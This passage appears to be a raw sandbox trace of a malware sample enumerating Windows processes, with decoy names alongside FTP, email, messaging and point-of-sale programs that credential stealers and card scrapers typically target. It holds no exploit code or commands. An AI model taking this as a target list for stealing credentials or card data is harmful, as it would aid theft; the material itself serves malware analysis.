cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0287.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0287.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0287.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0287.225] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0287.227] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0287.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0287.273] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0287.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0287.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0287.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0287.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0287.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0287.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0287.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0287.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0287.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0287.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0287.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0287.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0287.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0287.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0287.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0287.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0287.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0287.350] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0287.352] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0287.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0287.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0287.357] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0287.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0287.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0287.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0287.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0287.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0287.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0287.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0287.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0287.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0287.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0287.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0287.378] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0287.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0287.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0287.431] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0287.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0287.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0287.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0287.439] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0287.441] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0287.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0287.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0287.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0287.450] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0287.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0287.454] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0287.456] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0287.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0287.460] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0287.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0287.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0287.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0287.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0287.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0287.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0287.518] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0287.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0287.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0287.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0287.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0287.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0287.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0287.532] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0287.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0287.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0287.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0287.542] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0287.544] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0287.546] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0287.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0287.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0287.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0287.591] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 